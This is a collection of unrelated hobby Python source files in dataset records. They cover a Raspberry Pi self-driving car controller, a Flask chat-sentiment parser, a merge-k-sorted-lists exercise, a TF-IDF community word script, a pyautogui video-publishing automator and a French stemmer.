threading.Event()\n self.terminated = False\n self.owner = owner\n self.start()\n\n def run(self):\n # * This method runs in a separate thread\n while not self.terminated:\n # * Wait for an image to be written to the stream\n if self.event.wait(1):\n try:\n my_sdc.observer_stream = self.stream\n self.stream.seek(0)\n # * Read the image and do some processing on it\n # * Image.open(self.stream)\n # * ...\n # * ...\n # * Set done to True if you want the script to terminate\n # * at some point\n # * self.owner.done=True\n\n # * Do all the image processing stuff here\n # * Do all the image processing stuff here\n # * Do all the image processing stuff here\n # * Do all the image processing stuff here\n # * Do all the image processing stuff here\n\n my_sdc.img_click_time = time.time()\n my_sdc.img = cv2.cvtColor(imdecode(np.fromstring(\n self.stream.getvalue(), dtype=np.uint8), 1), cv2.COLOR_BGR2RGB)\n\n img_result, my_sdc.img = img_prs(my_sdc.img).final_result()\n\n if 'y' in img_result:\n my_sdc.add_log(\"stop sign detected!\")\n my_sdc.avg_speed = 0\n else:\n my_sdc.avg_speed = 47900\n my_sdc.send_img()\n\n finally:\n # * Reset the stream and event\n self.stream.seek(0)\n self.stream.truncate()\n self.event.clear()\n # * Return ourselves to the available pool\n with self.owner.lock:\n self.owner.pool.append(self)\n\n\nclass ProcessOutput(object):\n def __init__(self):\n self.done = False\n # * Construct a pool of 4 image processors along with a lock\n # * to control access between threads\n self.lock = threading.Lock()\n self.pool = [ImageProcessor(self) for i in range(4)]\n self.processor = None\n\n def write(self, buf):\n if buf.startswith(b'\\xff\\xd8'):\n # * New frame; set the current processor going and grab\n # * a spare one\n if self.processor:\n self.processor.event.set()\n with self.lock:\n if self.pool:\n self.processor = self.pool.pop()\n else:\n # * No processor's available, we'll have to skip\n # * this frame; you may want to print a warning\n # * here to see whether you hit this case\n self.processor = None\n if self.processor:\n self.processor.stream.write(buf)\n\n def flush(self):\n # * When told to flush (this indicates end of recording), shut\n # * down in an orderly fashion. First, add the current processor\n # * back to the pool\n if self.processor:\n with self.lock:\n self.pool.append(self.processor)\n self.processor = None\n # * Now, empty the pool, joining each thread as we go\n while True:\n with self.lock:\n try:\n proc = self.pool.pop()\n except IndexError:\n pass # * pool is empty\n proc.terminated = True\n proc.join()\n\n\nclass SDC:\n last_log = None\n serial_msg = None\n img_click_time = None\n img = None\n send_data = False\n communicate_with_text = True\n\n vehicle_control_type = 'a'\n vehicle_direction_to_move_in = None\n vehicle_max_speed = None\n vehicle_right_wheel_speed = None\n vehicle_left_wheel_speed = None\n\n def send_img(self):\n if self.send_data == True:\n self.observer_connection_obj.write(\n struct.pack(' {my_log}\"\n print(self.last_log)\n if (self.communicate_with_text & send_data_to_observer):\n self.__send_data_to_observer(self.last_log)\n\n def establish_text_based_communication(self):\n self.add_log(\n \"Connecting to observer for text based communication...\")\n try:\n self.observer_text_based_communication = socket.socket(\n socket.AF_INET, socket.SOCK_STREAM)\n # * Connects to server\n self.observer_text_based_communication.connect(\n (\"192.168.0.101\", 8011))\n # * this is necessary because call of func \"SDC.add_log()\" before establishing socket connection had forced SDC.send_data = False\n self.communicate_with_text = True\n self.add_log(\n \"Observer connected successfully for text based communication!\")\n except:\n self.communicate_with_text = False\n self.add_log(\n \"Unable to establish socket connection!, forcing \\\"communicate_with_text = False\\\"\")\n\n def random_movement(self):\n self.vehicle_data = f\"\"\"{random.choice(['f','b','r','l'])}-{random.randint(15535,65535)}-{random.randint(15535,65535)}\\n\"\"\"\n return self.vehicle_data\n\n def __get_vehicle_data_for_manual_driving(self):\n return f\"{self.vehicle_direction_to_move_in}-{self.vehicle_right_wheel_speed}-{self.vehicle_left_wheel_speed}\\n\"\n\n def __get_vehicle_data_for_hybrid_driving(self):\n if (int(self.vehicle_right_wheel_speed) + int(self.vehicle_left_wheel_speed) <= 0):\n return self.__get_vehicle_data_for_auto_driving()\n return self.__get_vehicle_data_for_manual_driving()\n\n def __get_vehicle_data_for_auto_driving(self):\n if (self.__sr04_distance_data < 17):\n self.vehicle_data = f\"\"\"b-0-0\\n\"\"\"\n return self.vehicle_data\n\n if (time.time()-self.__ir_data_time > 0.251):\n if (self.ir_data[0] == 0) & (self.ir_data[1] == 0):\n self.vehicle_data = f\"\"\"f-{self.avg_speed}-{self.avg_speed}\\n\"\"\"\n elif (self.ir_data[0] == 0) & (self.ir_data[1] == 1):\n self.__ir_data_time = time.time()\n self.vehicle_data = f\"\"\"r-{self.avg_speed*self.turning_speed_multiplier}-{self.avg_speed*self.turning_speed_multiplier}\\n\"\"\"\n elif (self.ir_data[0] == 1) & (self.ir_data[1] == 0):\n self.__ir_data_time = time.time()\n self.vehicle_data = f\"\"\"l-{self.avg_speed*self.turning_speed_multiplier}-{self.avg_speed*self.turning_speed_multiplier}\\n\"\"\"\n else:\n self.add_log(\"Both IR sensors are returning False!\")\n self.vehicle_data = f\"\"\"b-0-0\\n\"\"\"\n return self.vehicle_data\n\n def get_vehicle_data(self):\n self.__update_sr04_distance_data()\n self.__update_ir_data()\n \n self.__update_control_vals()\n\n if (self.vehicle_control_type == 'h'):\n return self.__get_vehicle_data_for_hybrid_driving()\n elif (self.vehicle_control_type == 'm'):\n return self.__get_vehicle_data_for_manual_driving()\n else:\n return self.__get_vehicle_data_for_auto_driving()\n\n def send_data_to_observer(self, data_to_send, force_send=False):\n \"\"\"This takes the data in the form of ... and send it to the observer(computer in my case)\n Parameters\n ----------\n data_to_send : str\n This is your data in the from of string which you want to send to observer via socket.\n force_send : bool, default=False\n This defines weather you want to send data to observer even when given object is configured to not send data to observer.\n \"\"\"\n if (self.communicate_with_text):\n self.__send_data_to_observer(data_to_send)\n elif(force_send):\n self.add_log(\"Force send to observer!\")\n self.__send_data_to_observer(data_to_send)\n else:\n self.add_log(\"Useless call of \\\"send_data_to_observer(...)\\\"!\")\n\n def __send_data_to_observer(self, data):\n \"\"\"This takes the data in the form of string and sends it to the observer(computer in my case)\n \"\"\"\n try:\n self.observer_text_based_communication.send(data.encode())\n except:\n self.communicate_with_text = False\n self.add_log(\n \"Unable communicate to observer via socket!, forcing \\\"communicate_with_text = False\\\"\")\n self.establish_text_based_communication()\n\n def __update_ir_data(self):\n \"\"\"\n This function gets IR data from sensors\n \"\"\"\n self.ir_data = [GPIO.input(IR_LEFT), GPIO.input(IR_RIGHT)]\n\n def __update_sr04_distance_data(self):\n GPIO.output(TRIG_PIN, GPIO.HIGH)\n time.sleep(0.00001)\n GPIO.output(TRIG_PIN, GPIO.LOW)\n\n while GPIO.input(ECHO_PIN) == GPIO.LOW:\n pulse_start = time.time()\n\n while GPIO.input(ECHO_PIN) == GPIO.HIGH:\n pulse_end = time.time()\n\n pulse_duration = pulse_end - pulse_start\n\n self.__sr04_distance_data = (pulse_duration * 34300) / 2\n\n def __update_control_vals(self):\n try:\n raw_data = self.observer_text_based_communication.recv(\n 1024*1024).decode()\n except:\n self.vehicle_control_type = 'a' # * fully automatic control\n self.communicate_with_text = False\n self.add_log(\n \"Unable communicate to observer via socket!, forcing \\\"communicate_with_text = False\\\"\")\n self.establish_text_based_communication()\n return\n try:\n start_index = raw_data.find('{')\n end_index = raw_data.find('}')\n if start_index < end_index:\n data_list = raw_data[start_index+1:end_index].split('@')\n else:\n filtered_data = raw_data[raw_data.find('}')+1:]\n data_list = filtered_data[filtered_data.find(\n '{') + 1:filtered_data.find('}')].split('@')\n self.vehicle_control_type = data_list[0]\n self.vehicle_direction_to_move_in = data_list[1]\n self.vehicle_max_speed = data_list[4]\n self.vehicle_right_wheel_speed = min(\n data_list[2], self.vehicle_max_speed)\n self.vehicle_left_wheel_speed = min(\n data_list[3], self.vehicle_max_speed)\n except:\n self.vehicle_control_type = 'a' # * fully automatic control\n self.add_log(\"Unable to parse data from user!\")\n self.add_log(raw_data)\n\n\n\nmy_sdc = SDC(True)\n","repo_name":"AmanRathoreP/Raspberry-Pi-4-Self-Driving-Vechicle","sub_path":"src/master__Raspberry_Pi_4B/src/packages/my_class.py","file_name":"my_class.py","file_ext":"py","file_size_in_byte":15474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"9197222062","text":"from bs4 import BeautifulSoup\nimport lxml\nimport json\nimport rpy2.robjects as robj\nimport os\nfrom flask import Flask, request, redirect, url_for, jsonify\nfrom flask_cors import CORS, cross_origin\nfrom werkzeug import secure_filename\n\n\n\n\ndef setUpSentiment():\n\trobj.r('''\n\tgetSenti <- function(string, sentiment){\n\t\tlibrary(syuzhet)\n\t\tas.vector(get_nrc_sentiment(string)[1,])\n\t}\n\t'''\t\n\t)\n\treturn(robj.r(\"getSenti\"))\ndoSenti = setUpSentiment()\n\n\ndef startParsing(htmlFile):\n\tallSoup = BeautifulSoup(open(htmlFile),\"lxml\")\n\tprint(\"in here with\" + htmlFile)\n\treturn(parseAllThreadsSoup(allSoup))\n\t\n\ndef parseOneMessageSoup(messageSoup, actualMessageSoup):\n message = {}\n message[\"User\"] = messageSoup.find_all(\"span\", class_ = \"user\")[0].get_text()\n message[\"Message\"] = actualMessageSoup.get_text()\n rawDate = messageSoup.find_all(\"span\", class_ = \"meta\")[0].get_text()\n message[\"Date\"] = rawDate\n dateInfo = rawDate.replace(\",\", \"\").split(\" \")\n message[\"Month\"] = dateInfo[1]\n message[\"Day\"] = dateInfo[2]\n message[\"Year\"] = dateInfo[3]\n calcedSentiments = doSenti(message[\"Message\"])\n sentiments = {}\n sentiments[\"anger\"] = tuple(calcedSentiments.rx2(1))[0]\n sentiments[\"anticipation\"] = tuple(calcedSentiments.rx2(2))[0]\n sentiments[\"disgust\"] = tuple(calcedSentiments.rx2(3))[0]\n sentiments[\"fear\"] = tuple(calcedSentiments.rx2(4))[0]\n sentiments[\"joy\"] = tuple(calcedSentiments.rx2(5))[0]\n sentiments[\"sadness\"] = tuple(calcedSentiments.rx2(6))[0]\n sentiments[\"surprise\"] = tuple(calcedSentiments.rx2(7))[0]\n sentiments[\"trust\"] = tuple(calcedSentiments.rx2(8))[0]\n sentiments[\"negative\"] = tuple(calcedSentiments.rx2(9))[0]\n sentiments[\"positive\"] = tuple(calcedSentiments.rx2(10))[0]\n message[\"Sentiments\"] = sentiments\n return(message)\n\ndef parseOneThreadSoup(threadSoup):\n allMessagesList = threadSoup.find_all(\"div\", class_ = \"message\")\n actualMessages = threadSoup.find_all(\"p\")\n if(len(allMessagesList) == len(actualMessages)):\n parsedThread = {}\n threadAsString = str(threadSoup)\n firstRightBracket = threadAsString.find(\">\",1)\n firstLeftBracket = threadAsString.find(\"<\",1)\n members = threadAsString[firstRightBracket+1:firstLeftBracket]\n parsedThread[\"Members\"] = members.split(\", \")\n parsedMessages = []\n for i in range(0,len(allMessagesList)):\n parsedMessages.append(parseOneMessageSoup(allMessagesList[i],actualMessages[i]))\n parsedThread[\"Messages\"] = parsedMessages\n #print(parsedThread)\n return(parsedThread)\n else:\n print(\"The number of p blocks didnt match number of messages\")\n return(None)\n\ndef parseAllThreadsSoup(allThreads):\n allThreadsList = allThreads.find_all(\"div\", class_ = \"thread\")\n parsedThreads = []\n for threadSoup in allThreadsList:\n parsedThreads.append(parseOneThreadSoup(threadSoup))\n return(parsedThreads)\n\n \n \n\n#________________________flask stuff here\n\n\nUPLOAD_FOLDER = '/tmp/'\nALLOWED_EXTENTIONS = set(['txt','htm', 'html'])\napp = Flask(__name__)\nCORS(app)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef allowed_file(filename):\n\treturn '.' in filename and \\\n\t\tfilename.rsplit('.',1)[1] in ALLOWED_EXTENTIONS\n\n@app.route(\"/\", methods = ['GET', 'POST'])\ndef index():\n\tif request.method == 'POST':\n\t\tfile = request.files['file']\n\t\tif file and allowed_file(file.filename):\n\t\t\tfilename = secure_filename(file.filename)\n\t\t\tfile.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\t\t\trtnDict = startParsing(\"/tmp/\"+filename)\n\t\t\tos.remove(\"/tmp/\"+filename)\n\t\t\treturn(json.dumps(rtnDict))\n\treturn \"\"\n\n\nif __name__ == \"__main__\":\n\tapp.run(host='0.0.0.0', port=5001, debug=True)\n\n","repo_name":"brandondsherman/Sentimessenger","sub_path":"htmlParser.py","file_name":"htmlParser.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"8618920533","text":"\"\"\"\nCH10. 27_Merge_k_Sorted_Lists.py\n\"\"\"\nimport collections\nimport heapq\nimport functools\nimport itertools\nimport re\nimport sys\nimport math\nimport bisect\n\nclass ListNode:\n def __init__(self, val, next = None):\n self.val = val\n self.next = next\n\n# 입력\n# [\n# 1->4->5,\n# 1->3->4,\n# 2->6\n# ]\nnode11 = ListNode(1)\nnode12 = ListNode(4)\nnode13 = ListNode(5)\nnode11.next = node12\nnode12.next = node13\n\nnode21 = ListNode(1)\nnode22 = ListNode(3)\nnode23 = ListNode(4)\nnode21.next = node22\nnode22.next = node23\n\nnode31 = ListNode(2)\nnode32 = ListNode(6)\nnode31.next = node32\n\nlists = [node11, node21, node31]\n\n# 출력: 1->1->2->3->4->4->5->6\n\n# --------------------------------------------------\ndef mergeKLists(lists):\n root = result = ListNode(None)\n heap = []\n \n for i in range(len(lists)):\n if lists[i]:\n heapq.heappush(heap, (lists[i].val, i, lists[i]))\n \n while heap:\n node = heapq.heappop(heap)\n idx = node[1]\n result.next = node[2]\n \n result = result.next\n if result.next:\n heapq.heappush(heap, (result.next.val, idx, result.next))\n \n return root.next\n\n\nresult = mergeKLists(lists)\n\nwhile result:\n print(result.val, end = ' ')\n result = result.next","repo_name":"sherrygelato/python-coding-interview","sub_path":"ch10_deque_priority_queue/ford_27_merge_k_sorted_lists.py","file_name":"ford_27_merge_k_sorted_lists.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23681828396","text":"\"\"\"Uncovering Top 15 Words in Predetermined Clusters\"\"\"\nimport numpy as np\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n# move this file to the root in order for this too work.\nfrom Parsing.Language_processing import df_en\n\n# loading data\ndf_en['final_combined_text'] = df_en['final_combined_text'].apply(str)\ndf_en['user_id'] = pd.to_numeric(df_en['user_id'], errors='coerce')\n\n# predetermined cluster assignments\ncommunities = pd.read_csv(\"Louvain_Clustering/communities/merged_la.csv\")\n\n# merging text with community assignments\nmergeddf = pd.merge(df_en, communities, on='user_id', how='inner')\n\n# list of unique community numbers\ngroups = (mergeddf.membership_la.unique()).tolist()\n\n# initialize lists\nscorelist = []\ngroupnum = []\n\n# loop through community numbers\nfor i in groups:\n mergeddf_loop = mergeddf[mergeddf.membership_la == i]\n # creating TFIDF Matrix\n transformer = TfidfVectorizer() # max_df=0.035, min_df=1000)\n tfidf = transformer.fit_transform(mergeddf_loop['final_combined_text']).todense()\n df = pd.DataFrame(tfidf)\n\n # Dictionary of Words\n vocab = transformer.vocabulary_\n terms = list(vocab.keys())\n df.columns = terms\n\n # Calculating Average TFIDF Scores for each word\n average_tfidfscores = df.ix[:, :].mean()\n scores = pd.DataFrame(average_tfidfscores)\n\n # naming columns\n scores.columns = [\"Score\"]\n\n # sort column\n scores.sort([\"Score\"], ascending=False)\n # top 15 words\n scores15 = scores.head(15)\n\n # append to lists\n scorelist.append(scores15.index.values.tolist())\n groupnum.append(i)\n print(groupnum)\n\n# creating final df\nlouvain = pd.DataFrame()\nlouvain[\"Community\"] = groupnum\nlouvain[\"Top 15 Words\"] = scorelist\nprint(scorelist)\n# Write out csv\nlouvain.to_csv(\"Top_15_Words_Per_Community.csv\")\n","repo_name":"worthingtont12/cultural-mapper","sub_path":"Louvain_Clustering/Top_Words_in_Community.py","file_name":"Top_Words_in_Community.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"7203835365","text":"import webbrowser\nimport pyautogui\nimport time\nimport re\n\ndef main():\n choice = getOptionMenu()\n if choice == \"1\":\n # parse video titles\n parsePlaylistForVideos()\n elif choice == \"2\":\n # check for missing videos and for extra videos\n # missing videos\n i = int(input(\"Enter the amount of playlist .html files to parse: \"))\n missingVideos, extraVideos = checkForMissingAndExtraVideos(i)\n numOfMissingVideos = len(missingVideos)\n print(\"There are: \" + str(numOfMissingVideos) + \" missing videos...\")\n i = getOptionYN(\"Do you want to write them to video_titles_remaining.txt? (y/n): \")\n if i == \"y\":\n f = open(\"video_titles_remaining.txt\", \"w\")\n for title in missingVideos:\n f.write(title + \"\\n\")\n # extra videos\n numOfExtraVideos = len(extraVideos)\n print(\"There are: \" + str(numOfExtraVideos) + \" extra videos...\")\n i = getOptionYN(\"Do you want to write them to extra_videos.txt? (y/n): \")\n if i == \"y\":\n f = open(\"extra_videos.txt\", \"w\")\n for title in extraVideos:\n f.write(title + \"\\n\")\n\n elif choice == \"3\":\n # check for duplicates\n dupVideos = checkAllVideosForDuplicates()\n numOfDupVideos = len(dupVideos)\n print(\"There are: \" + str(numOfDupVideos) + \" missing videos...\")\n i = getOptionYN(\"Do you want to write them to duplicate_videos.txt? (y/n): \")\n if i == \"y\":\n f = open(\"duplicate_videos.txt\", \"w\")\n for title in dupVideos:\n f.write(title)\n elif choice == \"4\":\n # continue publishing\n continuePublishing()\n elif choice == \"5\":\n # confirm publishing\n pageNum = input(\n \"Make sure the appropriate webpage is pulled up beforehand.\\nEnter page number to start on and then quickly click the browser window to ensure focus.\\n\")\n wait(3)\n confirmPublishedVideos(pageNum)\n elif choice == \"6\":\n exit(1)\n\ndef continuePublishing():\n staffName = input(\"Enter the staff's last name: \")\n # get amount of titles\n videosLeft = getLineCount(\"video_titles_remaining.txt\")\n # open pipeline\n webbrowser.open(\"https://pipeline.westfield.ma.edu/app/library.aspx\")\n wait(4)\n # get list of published videos\n p = open(\"published_videos.txt\", \"a\")\n # get list of titles\n f = open(\"video_titles_remaining.txt\", \"r\")\n line = f.readline()\n while line != \"\":\n line = dealWithExtraCharacters(line)\n # if it failed, note and refresh\n if publishVideo(line, staffName) is False:\n doneMessage = \"\\nThe video \\\"\" + line + \"\\\" has not been published\"\n print(doneMessage)\n else:\n videosLeft -= 1\n doneMessage = line + \"\\t|\\tDONE\"\n print(doneMessage + \"\\t(\" + str(videosLeft) + \" more!)\")\n p.write(doneMessage + \"\\n\")\n p.flush()\n line = f.readline()\n p.close()\n f.close()\n\ndef getOptionMenu():\n choice = input(\"--------------------------------------------------------\\n\"\n \"Parse playlist .html file for all video titles: 1\\n\"\n \"Check for shared library missing and extra videos: 2\\n\"\n \"Check for duplicate videos: 3\\n\"\n \"Continue publishing from current progress: 4\\n\"\n \"Confirm published videos: 5\\n\"\n \"Exit: 6\\n\"\n \"--------------------------------------------------------\\n\"\n \"Select an option - \")\n while choice != \"1\" and choice != \"2\" and choice != \"3\" and choice != \"4\" and choice != \"5\" and choice != \"6\":\n print(\"Invalid input. Enter respective number to continue.\")\n choice = input(\"--------------------------------------------------------\\n\"\n \"Parse playlist .html file for all video titles: 1\\n\"\n \"Check for shared library missing and extra videos: 2\\n\"\n \"Check for duplicate videos: 3\\n\"\n \"Continue publishing from current progress: 4\\n\"\n \"Confirm published videos: 5\\n\"\n \"Exit: 6\\n\"\n \"--------------------------------------------------------\\n\"\n \"Select an option - \")\n return choice\n\ndef getOptionYN(prompt):\n i = input(prompt)\n while i != \"y\" and i != \"n\":\n print(\"Invalid input. Enter y or n to continue.\")\n i = input(prompt)\n return i\n\ndef dealWithExtraCharacters(title):\n if \",\" in title:\n titleList = title.split(\",\")\n title = getLongerPartOfString(titleList)\n if \"?\" in title:\n titleList = title.split(\"?\")\n title = getLongerPartOfString(titleList)\n if \"&\" in title:\n titleList = title.split(\"&\")\n title = getLongerPartOfString(titleList)\n if \"\\\"\" in title:\n titleList = title.split(\"\\\"\")\n title = getLongerPartOfString(titleList)\n if \"\\n\" in title:\n title = title.split(\"\\n\")[0]\n return title\n\ndef getLongerPartOfString(titleList):\n # longer side is generally more descriptive, so it is useful to return the longer side\n longest = \"\"\n for part in titleList:\n if len(part) > len(longest):\n longest = part\n return longest\n\ndef parsePlaylistForVideos():\n dir = \"playlists/\" + input(\"Enter the staff's last name: \") + \".html\"\n #rule = r\"
    \\\"]*)\\\"\"\n v = open(dir, \"r\")\n data = v.read().replace('\\n', '').replace('\\r', '')\n v.close()\n titles = re.findall(rule, data, re.IGNORECASE)\n # write titles to video_titles_remaining.txt\n vt = open(\"all_video_titles.txt\", \"w\")\n for title in titles:\n if title != \"${name}\":\n if \"'\" in title: # html code for '\n title = title.replace(\"'\", \"'\")\n if \"&\" in title: # html code for &\n title = title.replace(\"&\", \"&\")\n if \""\" in title: # html code for \"\n title = title.replace(\""\", '\"')\n title = removeExtraSpacesAndNewlines(title)\n vt.write(title + \"\\n\")\n vt.close()\n\ndef checkForMissingAndExtraVideos(numOfHtmlFiles):\n # add all videos to list\n expectedVideoList = []\n v = open(\"all_video_titles.txt\", \"r\")\n line = v.readline().replace('\\n', '')\n while line != \"\":\n expectedVideoList.append(line)\n line = v.readline().replace('\\n', '')\n v.flush()\n v.close()\n # get titles from shared library\n data = \"\"\n for x in range(numOfHtmlFiles):\n v = open(\"D:/Downloads/raw_html\" + str(x+1) + \".html\", \"r\")\n data += v.read().replace('\\n', '').replace('\\r', '')\n v.flush()\n v.close()\n rule = r\"target=\\\"_blank\\\" title=\\\"Preview: ([^<>\\\"]*)\\\"\"\n actualVideoList = re.findall(rule, data, re.IGNORECASE)\n for x in range(len(actualVideoList)):\n if \"'\" in actualVideoList[x]: # html code for '\n actualVideoList[x] = actualVideoList[x].replace(\"'\", \"'\")\n if \"&\" in actualVideoList[x]: # html code for &\n actualVideoList[x] = actualVideoList[x].replace(\"&\", \"&\")\n if \""\" in actualVideoList[x]: # html code for \"\n actualVideoList[x] = actualVideoList[x].replace(\""\", '\"')\n\n # compare and keep track of missing videos\n # convert actual videos to lowercase with no extra characters (spaces or newlines) at the end\n for i in range(len(actualVideoList)):\n actualVideoList[i] = removeExtraSpacesAndNewlines(actualVideoList[i].lower())\n\n missingVideos = []\n for title in expectedVideoList:\n if title.lower() not in actualVideoList:\n # add to missing videos\n missingVideos.append(title)\n\n # convert expected videos to lowercase with no extra characters (spaces or newlines) at the end\n for i in range(len(expectedVideoList)):\n expectedVideoList[i] = removeExtraSpacesAndNewlines(expectedVideoList[i].lower())\n\n extraVideos = []\n for title in actualVideoList:\n if title not in expectedVideoList:\n # add to extra videos\n extraVideos.append(title)\n\n return missingVideos, extraVideos\n\ndef getLineCount(textFile):\n lineCount = 0\n f = open(textFile, \"r\")\n line = f.readline()\n while line != \"\":\n lineCount += 1\n line = f.readline()\n return lineCount\n\ndef isFailedSearch():\n if pyautogui.locateOnScreen(\"images/no_items_found.png\") is None:\n return False\n return True\n\ndef publishVideo(title, staffName):\n\n # searches for video\n pyautogui.typewrite(title)\n wait(1)\n pyautogui.hotkey(\"enter\")\n # wait for load time\n wait(4)\n\n # if search fails, return false\n if isFailedSearch():\n return False\n\n # moves to publish\n pyautogui.moveTo(1723, 741)\n # clicks on publish\n pyautogui.leftClick()\n # wait for load time\n wait(4)\n\n # opens ctrl + f / finder\n pyautogui.hotkey(\"ctrl\", \"f\")\n wait(1)\n\n # types \"share\" in finder\n pyautogui.typewrite(\"share\")\n # positions onto down arrow\n pyautogui.moveTo(1657, 87)\n # clicks three times\n multiLeftClicker(3)\n # wait for load time\n wait(1)\n\n # expands the Share folder by moving to the position and clicking the \"+\" icon\n clickOnButton(\"images/share_folder.png\")\n # wait for load time\n wait(2)\n\n # move to search and click to make it active\n pyautogui.moveTo(1347, 788)\n pyautogui.leftClick()\n # type staff's name\n pyautogui.typewrite(staffName)\n pyautogui.hotkey(\"enter\")\n # wait for load time\n wait(2)\n\n # move mouse to checkbox\n pyautogui.moveTo(334, 904)\n # check the box by clicking\n pyautogui.leftClick()\n # wait for load time\n wait(1)\n\n # scroll down to see the publish button\n pyautogui.scroll(-800)\n # wait for load time\n wait(2)\n\n # click on publish\n clickOnButton(\"images/publish_button.png\")\n wait(5)\n\n # if it worked\n return True\n\ndef confirmPublishedVideos(pageNum):\n goToPage(pageNum)\n scrollBack = 0\n areVideosLeft = True\n while areVideosLeft is True:\n # check for \"Not Published\"\n # if there is, publish it\n # if not, exit loop\n loc = pyautogui.locateOnScreen(\"images/not_published.png\")\n while loc is not None:\n # it couldn't reach the publish button, so scroll\n if confirmPublish(loc) is False:\n break\n pyautogui.scroll(scrollBack)\n wait(2)\n loc = pyautogui.locateOnScreen(\"images/not_published.png\")\n # if at the bottom of the page, go to next\n # if not, scroll down\n if pyautogui.locateOnScreen(\"images/page_bottom_indicator.png\") is not None:\n # to get to the VERY bottom\n pyautogui.scroll(-1000)\n if goToNextPage() is False:\n areVideosLeft = False\n scrollBack = 0\n else:\n pyautogui.scroll(-400)\n scrollBack += -400\n wait(1)\n\n# returns False if cannot reach publish button\ndef confirmPublish(loc):\n # loc is the location of \"Not Published\"\n # from there, the publish button is (x - 225, y + 75)\n # move to \"Publish\" and click\n loc = pyautogui.center(loc)\n publishX = loc[0] - 225\n publishY = loc[1] + 75\n # if true, cannot reach publish button\n if publishY >= 900:\n return False\n pyautogui.moveTo(publishX, publishY)\n pyautogui.leftClick()\n wait(3)\n # move to \"Default Category\" checkbox and click it\n pyautogui.moveTo(329, 397)\n pyautogui.leftClick()\n wait(1)\n # move to \"Save Changes\" and click it\n pyautogui.moveTo(1782, 490)\n pyautogui.leftClick()\n wait(5)\n\ndef goToNextPage():\n # on first page, so go to second page\n secondPageButtonLoc = pyautogui.locateOnScreen(\"images/2_page.png\")\n if pyautogui.locateOnScreen(\"images/1_page_highlighted.png\") is not None and secondPageButtonLoc is not None:\n secondPageButtonLoc = pyautogui.center(secondPageButtonLoc)\n pyautogui.moveTo(secondPageButtonLoc[0], secondPageButtonLoc[1])\n pyautogui.leftClick()\n wait(4)\n return True\n # on second page, so go to third page\n thirdPageButtonLoc = pyautogui.locateOnScreen(\"images/3_page.png\")\n if pyautogui.locateOnScreen(\"images/2_page_highlighted.png\") is not None and thirdPageButtonLoc is not None:\n thirdPageButtonLoc = pyautogui.center(thirdPageButtonLoc)\n pyautogui.moveTo(thirdPageButtonLoc[0], thirdPageButtonLoc[1])\n pyautogui.leftClick()\n wait(4)\n return True\n return False\n\n# starting from the first page, go to the desired page number\ndef goToPage(pageNum):\n if pageNum == \"1\":\n return\n elif pageNum == \"2\":\n loc = pyautogui.locateOnScreen(\"images/2_page.png\")\n pyautogui.moveTo(loc)\n pyautogui.leftClick()\n wait(4)\n elif pageNum == \"3\":\n loc = pyautogui.locateOnScreen(\"images/3_page.png\")\n pyautogui.moveTo(loc)\n pyautogui.leftClick()\n wait(4)\n else:\n print(\"Invalid page number.\")\n exit(1)\n\ndef checkAllVideosForDuplicates():\n dupVideos = []\n with open('all_video_titles.txt') as f:\n seen = set()\n for line in f:\n line_lower = line.lower()\n if line_lower in seen:\n dupVideos.append(line)\n else:\n seen.add(line_lower)\n f.close()\n return dupVideos\n\ndef getImageCenterLoc(imageFileName):\n return pyautogui.center(pyautogui.locateOnScreen(imageFileName))\n\ndef goToButton(imageFileName):\n pyautogui.moveTo(getImageCenterLoc(imageFileName))\n\ndef clickOnButton(imageFileName):\n goToButton(imageFileName)\n pyautogui.leftClick()\n\ndef jumpToBottom():\n pyautogui.scroll(-25000)\n wait(2)\n\ndef removeExtraSpacesAndNewlines(someString):\n while someString[-1] == \" \" or someString[-1] == \"\\n\":\n someString = someString[:-1]\n return someString\n\ndef multiLeftClicker(numClicks):\n for x in range(numClicks):\n pyautogui.leftClick()\n\ndef wait(seconds):\n time.sleep(seconds)\n\nif __name__ == '__main__':\n main()","repo_name":"cwainczak/PipelineAutomator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72807024544","text":"import string\r\n\r\n\r\nclass FrenchStemmer:\r\n \"\"\"French Stemmer class\"\"\"\r\n\r\n # class variable\r\n _language_stems = None\r\n\r\n def __init__(self):\r\n\r\n def read_stem_file():\r\n stem_file_path = 'OLDlexique.txt'\r\n\r\n source_characters = list(string.ascii_uppercase)\r\n destination_characters = list(string.ascii_lowercase)\r\n\r\n for character_range in (range(0x00, 0x30), range(0x3A, 0x41), range(0x5B, 0x61), range(0x7B, 0xC0)):\r\n for special_character in character_range:\r\n source_characters.append(chr(special_character))\r\n destination_characters.append(' ')\r\n\r\n source_characters = ''.join(source_characters)\r\n destination_characters = ''.join(destination_characters)\r\n trantab = str.maketrans(source_characters, destination_characters)\r\n\r\n language_stems = dict()\r\n with open(stem_file_path, 'r') as stem_file:\r\n for line in stem_file:\r\n words = line.split()\r\n if words[1] == '=':\r\n language_stems[words[0]] = words[0].translate(trantab).split()\r\n else:\r\n language_stems[words[0]] = words[1].translate(trantab).split()\r\n return language_stems\r\n\r\n # check class variable\r\n if type(self)._language_stems is None:\r\n type(self)._language_stems = read_stem_file()\r\n\r\n # assign class variable to instance for ease of use\r\n self._language_stems = type(self)._language_stems\r\n\r\n def get_stems(self, s):\r\n stems = list()\r\n for word in s.split():\r\n if word in self._language_stems:\r\n stems.extend(self._language_stems[word])\r\n else:\r\n stems.append(word)\r\n\r\n return stems\r\n\r\n\r\ndef test_french_stemmer():\r\n stemmer = FrenchStemmer()\r\n print(stemmer.get_stems(''))\r\n print(stemmer.get_stems('a'))\r\n print(stemmer.get_stems('aimerai azerty'))\r\n\r\n # break the language stemmer dictionnary, to check its unicity\r\n del FrenchStemmer._language_stems['aimerai']\r\n stemmer = FrenchStemmer()\r\n 